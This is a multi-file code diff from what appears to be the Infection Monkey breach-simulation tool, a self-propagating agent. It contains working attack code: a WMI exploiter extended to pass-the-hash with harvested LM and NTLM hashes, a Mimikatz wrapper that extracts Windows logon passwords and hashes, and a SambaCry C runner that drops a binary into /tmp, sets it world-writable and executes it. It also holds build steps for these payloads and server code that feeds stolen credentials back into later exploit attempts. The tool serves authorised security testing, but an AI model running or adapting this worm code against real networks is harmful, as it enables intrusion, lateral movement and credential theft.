LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
return False
finally:
try:
sock.close()
except:
except socket.error:
pass
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",

View File

@ -29,34 +29,36 @@ class WmiExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
user_password_pairs = self._config.get_exploit_user_password_pairs()
creds = self._config.get_exploit_user_password_or_hash_product()
for user, password in user_password_pairs:
LOG.debug("Attempting to connect %r using WMI with password '%s'",
host, password)
for user, password, lm_hash, ntlm_hash in creds:
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
wmi_connection = WmiTools.WmiConnection()
try:
wmi_connection.connect(host,
user,
password)
wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash)
except AccessDeniedException:
LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
host, user, password)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
continue
except DCERPCException, exc:
report_failed_login(self, host, user, password)
LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
host, user, password)
except DCERPCException as exc:
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
continue
except socket.error, exc:
LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
host, user, password, exc)
except socket.error as exc:
LOG.debug("Network error in WMI connection to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
return False
except Exception, exc:
LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
host, user, password, exc, traceback.format_exc())
except Exception as exc:
LOG.debug("Unknown WMI connection error to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
return False
host.learn_credentials(user, password)
@ -73,10 +75,12 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
user,
password,
src_path,
self._config.dropper_target_path,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout)
if not remote_full_path:

View File

@ -1,17 +1,18 @@
import sys
import os
import time
import logging
import tunnel
import argparse
import logging
import os
import subprocess
from system_singleton import SystemSingleton
from network.firewall import app as firewall
from control import ControlClient
import sys
import time
import tunnel
from config import WormConfiguration
from network.network_scanner import NetworkScanner
from control import ControlClient
from model import DELAY_DELETE_CMD
from network.firewall import app as firewall
from network.network_scanner import NetworkScanner
from system_info import SystemInfoCollector
from system_singleton import SystemSingleton
__author__ = 'itamar'
@ -80,8 +81,6 @@ class ChaosMonkey(object):
if monkey_tunnel:
monkey_tunnel.start()
last_exploit_time = None
ControlClient.send_telemetry("state", {'done': False})
self._default_server = WormConfiguration.current_server
@ -101,7 +100,7 @@ class ChaosMonkey(object):
else:
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
for _ in xrange(WormConfiguration.max_iterations):
for iteration_index in xrange(WormConfiguration.max_iterations):
ControlClient.keepalive()
ControlClient.load_control_config()
@ -146,7 +145,6 @@ class ChaosMonkey(object):
LOG.debug("Skipping %r - exploitation failed before", machine)
continue
if monkey_tunnel:
monkey_tunnel.set_tunnel_for_host(machine)
if self._default_server:
@ -171,14 +169,15 @@ class ChaosMonkey(object):
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__})
except Exception, exc:
LOG.error("Exception while attacking %s using %s: %s",
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__})
continue
if successful_exploiter:
self._exploited_machines.add(machine)
last_exploit_time = time.time()
ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
'exploiter': successful_exploiter.__class__.__name__})
@ -194,8 +193,10 @@ class ChaosMonkey(object):
else:
self._fail_exploitation_machines.add(machine)
if not is_empty:
time.sleep(WormConfiguration.timeout_between_iterations)
if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
time_to_sleep = WormConfiguration.timeout_between_iterations
LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
time.sleep(time_to_sleep)
if self._keep_running and WormConfiguration.alive:
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
@ -204,8 +205,10 @@ class ChaosMonkey(object):
# if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
# connect to the tunnel
if last_exploit_time and (time.time() - last_exploit_time < 60):
time.sleep(time.time() - last_exploit_time)
if len(self._exploited_machines) > 0:
time_to_sleep = WormConfiguration.keep_tunnel_open_time
LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep)
time.sleep(time_to_sleep)
if monkey_tunnel:
monkey_tunnel.stop()
@ -240,7 +243,7 @@ class ChaosMonkey(object):
close_fds=True, startupinfo=startupinfo)
else:
os.remove(sys.executable)
except Exception, exc:
except Exception as exc:
LOG.error("Exception in self delete: %s", exc)
LOG.info("Monkey is shutting down")

View File

@ -1,9 +1,9 @@
#!/usr/bin/env bash
gcc -c -Wall -Werror -fpic -m64 sc_monkey_runner.c
gcc -shared -m64 -o sc_monkey_runner_64.so sc_monkey_runner.o
gcc -shared -m64 -o sc_monkey_runner64.so sc_monkey_runner.o
rm sc_monkey_runner.o
strip sc_monkey_runner_64.so
strip sc_monkey_runner64.so
gcc -c -Wall -Werror -fpic -m32 sc_monkey_runner.c
gcc -shared -m32 -o sc_monkey_runner_32.so sc_monkey_runner.o
gcc -shared -m32 -o sc_monkey_runner32.so sc_monkey_runner.o
rm sc_monkey_runner.o
strip sc_monkey_runner_32.so
strip sc_monkey_runner32.so

View File

@ -22,16 +22,16 @@ int samba_init_module(void)
#ifdef ARCH_IS_64
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
const char MONKEY_NAME[] = "monkey64";
const char MONKEY_COPY_NAME[] = "monkey64_2";
#else
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
const char MONKEY_NAME[] = "monkey32";
const char MONKEY_COPY_NAME[] = "monkey32_2";
#endif
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
const int ACCESS_MODE = 0777;
const char RUN_MONKEY_CMD[] = "sudo ./";
const char RUN_MONKEY_CMD[] = "./";
const char MONKEY_DEST_FOLDER[] = "/tmp";
const char MONKEY_DEST_NAME[] = "monkey";
int found = 0;
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
@ -102,7 +102,7 @@ int samba_init_module(void)
// Build commandline
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1);
strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1);
strncat(commandline, " ", 1);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
@ -133,7 +133,12 @@ int samba_init_module(void)
fread(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
pFile = fopen(MONKEY_COPY_NAME, "wb");
if (0 != chdir(MONKEY_DEST_FOLDER))
{
return 0;
}
pFile = fopen(MONKEY_DEST_NAME, "wb");
if (NULL == pFile)
{
free(monkeyBinary);
@ -144,7 +149,7 @@ int samba_init_module(void)
free(monkeyBinary);
// Change monkey permissions
if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE))
if (0 != chmod(MONKEY_DEST_NAME, ACCESS_MODE))
{
return 0;
}

View File

@ -29,6 +29,8 @@ def get_host_subnets():
for network in ipv4_nets:
if 'broadcast' in network:
network.pop('broadcast')
for attr in network:
network[attr] = network[attr].encode('utf-8').strip()
return ipv4_nets
@ -47,8 +49,7 @@ else:
def local_ips():
ipv4_nets = get_host_subnets()
valid_ips = [network['addr'] for network in ipv4_nets]
valid_ips = [network['addr'] for network in get_host_subnets()]
return valid_ips

View File

@ -1,39 +1,58 @@
How to create a monkey build environment:
How to build a monkey binary from scratch.
The monkey is composed of three seperate parts.
* The Infection Monkey itself - PyInstaller compressed python archives
* Sambacry binaries - Two linux binaries, 32/64 bit.
* Mimikatz binaries - Two windows binaries, 32/64 bit.
--- Windows ---
Windows:
1. Install python 2.7. Preferably you should use ActiveState Python which includes pywin32 built in.
You must use an up to date version, at least version 2.7.10
http://www.activestate.com/activepython/downloads
https://www.python.org/downloads/release/python-2712/
2. install pywin32-219.win32-py2.7.exe at least
http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
If not using ActiveState, install pywin32, minimum build 219
http://sourceforge.net/projects/pywin32/files/pywin32
3. a. install VCForPython27.msi
http://www.microsoft.com/en-us/download/details.aspx?id=44266
https://aka.ms/vcpython27
b. if not installed, install Microsoft Visual C++ 2010 SP1 Redistributable Package
32bit: http://www.microsoft.com/en-us/download/details.aspx?id=8328
64bit: http://www.microsoft.com/en-us/download/details.aspx?id=13523
4. Download & Run get-pip.py
https://bootstrap.pypa.io/get-pip.py
5. Run:
Install the python packages listed in requirements.txt. Using pip install -r requirements.txt
7. Download and extract UPX binary to [source-path]\monkey\chaos_monkey\bin\upx.exe:
http://upx.sourceforge.net/download/upx391w.zip
8. (Optional) For some exploits to work better, install 'dnet' python library. You'll need to compile it for your OS
or use a precompiled setup that can be found at:
32bit: https://github.com/Kondziowy/scapy_win64/raw/master/win32/dnet-1.12.win32-py2.7.exe
64bit: https://github.com/Kondziowy/scapy_win64/raw/master/win64/dnet-1.12.win-amd64-py2.7.exe
9. Run [source-path]\monkey\chaos_monkey\build_windows.bat to build, output is in dist\monkey.exe
4. Download the dependent python packages using
pip install -r requirements.txt
5. Download and extract UPX binary to [source-path]\monkey\chaos_monkey\bin\upx.exe:
https://github.com/upx/upx/releases/download/v3.94/upx394w.zip
6. To build the final exe:
1 cd [code location]/chaos_monkey
build_windows.bat
output is in dist\monkey.exe
--- Linux ---
Tested on Ubuntu 16.04 and 17.04.
Linux (Tested on Ubuntu 12.04):
1. Run:
sudo apt-get update
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
Install the python packages listed in requirements.txt.
Using pip install -r requirements.txt
sudo apt-get install winbind
2. Put source code in /home/user/Code/monkey/chaos_monkey
sudo apt-get install winbind dnet-common
2. Put source code in Code/monkey/chaos_monkey
3. To build, run in terminal:
cd /home/user/Code/monkey/chaos_monkey
cd [code location]/chaos_monkey
chmod +x build_linux.sh
./build_linux.sh
output is in dist/monkey
-- Sambacry --
Sambacry requires two standalone binaries to execute remotely.
Compiling them requires gcc
cd [code location]/chaos_monkey/monkey_utils/sambacry_monkey_runner
./build.sh
-- Mimikatz --
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
Download both 32 and 64 bit DLLs and place them under [code location]\chaos_monkey\bin

View File

@ -8,7 +8,7 @@ rdpy
requests
odict
paramiko
psutil
psutil==3.4.2
PyInstaller
ecdsa
netifaces

View File

@ -6,6 +6,12 @@ from enum import IntEnum
from network.info import get_host_subnets
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'uri'

View File

@ -1,14 +1,13 @@
import ctypes
import binascii
import logging
import socket
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class MimikatzCollector:
"""
Password collection module for Windows using Mimikatz.
@ -24,7 +23,7 @@ class MimikatzCollector:
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._isInit = True
except StandardError as ex:
except StandardError:
LOG.exception("Error initializing mimikatz collector")
def get_logon_info(self):
@ -40,18 +39,28 @@ class MimikatzCollector:
entry_count = self._collect()
logon_data_dictionary = {}
hostname = socket.gethostname()
for i in range(entry_count):
entry = self._get()
username = str(entry.username)
password = str(entry.password)
username = entry.username.encode('utf-8').strip()
password = entry.password.encode('utf-8').strip()
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
has_password = (0 != len(password))
if 0 == len(password):
has_password = False
elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()):
# Don't save the password of the host domain user (HOSTNAME$)
has_password = False
else:
has_password = True
has_lm = ("00000000000000000000000000000000" != lm_hash)
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
if not logon_data_dictionary.has_key(username):
if username not in logon_data_dictionary:
logon_data_dictionary[username] = {}
if has_password:
logon_data_dictionary[username]["password"] = password
@ -61,7 +70,7 @@ class MimikatzCollector:
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary
except StandardError as ex:
except StandardError:
LOG.exception("Error getting logon info")
return {}

View File

@ -1,7 +1,8 @@
import sys
import ctypes
import logging
import sys
from abc import ABCMeta, abstractmethod
from config import WormConfiguration
__author__ = 'itamar'
@ -84,7 +85,7 @@ class LinuxSystemSingleton(_SystemSingleton):
try:
sock.bind('\0' + self._unix_sock_name)
except socket.error, e:
except socket.error as e:
LOG.error("Cannot acquire system singleton %r, error code %d, error: %s",
self._unix_sock_name, e.args[0], e.args[1])
return False
@ -100,9 +101,12 @@ class LinuxSystemSingleton(_SystemSingleton):
self._sock_handle.close()
self._sock_handle = None
if sys.platform == "win32":
import winerror
SystemSingleton = WindowsSystemSingleton
else:
import socket
SystemSingleton = LinuxSystemSingleton

View File

@ -1,10 +1,14 @@
import urllib, BaseHTTPServer, threading, os.path
import monkeyfs
from logging import getLogger
from base import TransportProxyBase, update_last_serve_time
from urlparse import urlsplit
import BaseHTTPServer
import os.path
import select
import socket
import threading
import urllib
from logging import getLogger
from urlparse import urlsplit
import monkeyfs
from base import TransportProxyBase, update_last_serve_time
__author__ = 'hoffer'
@ -57,7 +61,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def send_head(self):
if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
self.send_error(500, "")
return
return None, 0, 0
f = None
try:
f = monkeyfs.open(self.filename, 'rb')

View File

@ -1,14 +1,15 @@
import logging
import socket
import struct
import logging
from threading import Thread
from network.info import local_ips, get_free_tcp_port
from network.firewall import app as firewall
from transport.base import get_last_serve_time
from difflib import get_close_matches
from network.tools import check_port_tcp
from model import VictimHost
import time
from difflib import get_close_matches
from threading import Thread
from model import VictimHost
from network.firewall import app as firewall
from network.info import local_ips, get_free_tcp_port
from network.tools import check_port_tcp
from transport.base import get_last_serve_time
__author__ = 'hoffer'
@ -48,7 +49,7 @@ def _check_tunnel(address, port, existing_sock=None):
try:
sock.sendto("+", (address, MCAST_PORT))
except Exception, exc:
except Exception as exc:
LOG.debug("Caught exception in tunnel registration: %s", exc)
if not existing_sock:
@ -91,7 +92,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
sock.close()
return address, port
except Exception, exc:
except Exception as exc:
LOG.debug("Caught exception in tunnel lookup: %s", exc)
continue
@ -104,7 +105,7 @@ def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
sock.sendto("-", (address, MCAST_PORT))
sock.close()
LOG.debug("Success quitting tunnel")
except Exception, exc:
except Exception as exc:
LOG.debug("Exception quitting tunnel: %s", exc)
return

View File

@ -46,9 +46,8 @@ class Monkey(flask_restful.Resource):
update['$set']['config_error'] = monkey_json['config_error']
if 'tunnel' in monkey_json:
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_id)
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
@ -98,10 +97,9 @@ class Monkey(flask_restful.Resource):
else:
monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add]
tunnel_host_id = None
tunnel_host_ip = None
if 'tunnel' in monkey_json:
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
monkey_json.pop('tunnel')
mongo.db.monkey.update({"guid": monkey_json["guid"]},
@ -112,8 +110,8 @@ class Monkey(flask_restful.Resource):
new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"]
if tunnel_host_id is not None:
NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_id)
if tunnel_host_ip is not None:
NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip)
existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}})

View File

@ -89,9 +89,8 @@ class Telemetry(flask_restful.Resource):
def process_tunnel_telemetry(self, telemetry_json):
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
if telemetry_json['data']['proxy'] is not None:
host = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id)
tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
else:
NodeService.unset_all_monkey_tunnels(monkey_id)
@ -155,5 +154,9 @@ class Telemetry(flask_restful.Resource):
ConfigService.creds_add_username(user)
if 'password' in creds[user]:
ConfigService.creds_add_password(creds[user]['password'])
if 'lm_hash' in creds[user]:
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
if 'ntlm_hash' in creds[user]:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])

View File

@ -277,6 +277,12 @@ SCHEMA = {
"type": "string",
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"description": "The name of the mutex used to determine whether the monkey is already running"
},
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
"default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
}
}
},
@ -423,6 +429,32 @@ SCHEMA = {
"description": "The fullpath of the monkey log file on Windows"
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
}
}
}
}
},
@ -480,7 +512,7 @@ SCHEMA = {
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": True,
"default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine"
}
}
@ -561,46 +593,6 @@ SCHEMA = {
"IPC$", "print$"
],
"description": "These shares won't be checked when exploiting with SambaCry"
},
"sambacry_commandline_filename": {
"title": "SambaCry commandline filename",
"type": "string",
"default": "monkey_commandline.txt",
},
"sambacry_runner_result_filename": {
"title": "SambaCry runner result filename",
"type": "string",
"default": "monkey_runner_result",
},
"sambacry_runner_filename_32": {
"title": "SambaCry runner filename (32 bit)",
"type": "string",
"default": "sc_monkey_runner32.so",
},
"sambacry_runner_filename_64": {
"title": "SambaCry runner filename (64 bit)",
"type": "string",
"default": "sc_monkey_runner64.so",
},
"sambacry_monkey_filename_32": {
"title": "SambaCry monkey filename (32 bit)",
"type": "string",
"default": "monkey32",
},
"sambacry_monkey_filename_64": {
"title": "SambaCry monkey filename (64 bit)",
"type": "string",
"default": "monkey64",
},
"sambacry_monkey_copy_filename_32": {
"title": "SambaCry monkey copy filename (32 bit)",
"type": "string",
"default": "monkey32_2",
},
"sambacry_monkey_copy_filename_64": {
"title": "SambaCry monkey copy filename (64 bit)",
"type": "string",
"default": "monkey64_2",
}
}
},
@ -818,20 +810,34 @@ class ConfigService:
return SCHEMA
@staticmethod
def creds_add_username(username):
def add_item_to_config_set(item_key, item_value):
mongo.db.config.update(
{'name': 'newconfig'},
{'$addToSet': {'exploits.credentials.exploit_user_list': username}},
{'$addToSet': {item_key: item_value}},
upsert=False
)
mongo.db.monkey.update(
{},
{'$addToSet': {'config.' + item_key.split('.')[-1]: item_value}},
multi=True
)
@staticmethod
def creds_add_username(username):
ConfigService.add_item_to_config_set('basic.credentials.exploit_user_list', username)
@staticmethod
def creds_add_password(password):
mongo.db.config.update(
{'name': 'newconfig'},
{'$addToSet': {'exploits.credentials.exploit_password_list': password}},
upsert=False
)
ConfigService.add_item_to_config_set('basic.credentials.exploit_password_list', password)
@staticmethod
def creds_add_lm_hash(lm_hash):
ConfigService.add_item_to_config_set('internal.exploits.exploit_lm_hash_list', lm_hash)
@staticmethod
def creds_add_ntlm_hash(ntlm_hash):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
@staticmethod
def update_config(config_json):

View File

@ -22,7 +22,7 @@ class EdgeService:
@staticmethod
def edge_to_displayed_edge(edge):
services = {}
services = []
os = {}
exploits = []
if len(edge["scans"]) > 0:
@ -52,6 +52,7 @@ class EdgeService:
exploit_container["end_timestamp"] = new_exploit["timestamp"]
displayed_edge = EdgeService.edge_to_net_edge(edge)
displayed_edge["ip_address"] = edge["ip_address"]
displayed_edge["services"] = services
displayed_edge["os"] = os

View File

@ -148,7 +148,8 @@ class NodeService:
upsert=False)
@staticmethod
def set_monkey_tunnel(monkey_id, tunnel_host_id):
def set_monkey_tunnel(monkey_id, tunnel_host_ip):
tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"]
NodeService.unset_all_monkey_tunnels(monkey_id)
mongo.db.monkey.update(
{"_id": monkey_id},
@ -156,7 +157,7 @@ class NodeService:
upsert=False)
tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id)
mongo.db.edge.update({"_id": tunnel_edge["_id"]},
{'$set': {'tunnel': True}},
{'$set': {'tunnel': True, 'ip_address': tunnel_host_ip}},
upsert=False)
@staticmethod

View File

@ -10,6 +10,8 @@ let groupNames = ['clean_linux', 'clean_windows', 'exploited_linux', 'exploited_
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
let legend = require('../../images/map-legend.png');
let getGroupsOptions = () => {
let groupOptions = {};
for (let groupName of groupNames) {
@ -28,6 +30,7 @@ let options = {
improvedLayout: false
},
edges: {
width: 2,
smooth: {
type: 'curvedCW'
}
@ -55,7 +58,7 @@ class MapPageComponent extends React.Component {
case 'exploited':
return '#c00';
case 'tunnel':
return '#aaa';
return '#0058aa';
case 'scan':
return '#f90';
case 'island':
@ -123,6 +126,9 @@ class MapPageComponent extends React.Component {
<Col xs={12}>
<h1 className="page-title">Infection Map</h1>
</Col>
<Col xs={12}>
<img src={legend}/>
</Col>
<Col xs={8}>
<Graph graph={this.state.graph} options={options} events={this.events}/>
</Col>

View File

@ -134,13 +134,18 @@ class RunMonkeyPageComponent extends React.Component {
Run on C&C Server
{ this.renderIconByState(this.state.runningOnIslandState) }
</button>
<a
{
// TODO: implement button functionality
/*
<button
className="btn btn-default"
disabled={this.state.runningOnClientState !== 'not_running'}
style={{'marginLeft': '1em'}}>
Download and run locally
{ this.renderIconByState(this.state.runningOnClientState) }
</a>
</button>
*/
}
</p>
<div className="run-monkey-snippets" style={{'marginBottom': '3em'}}>
<p>

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 KiB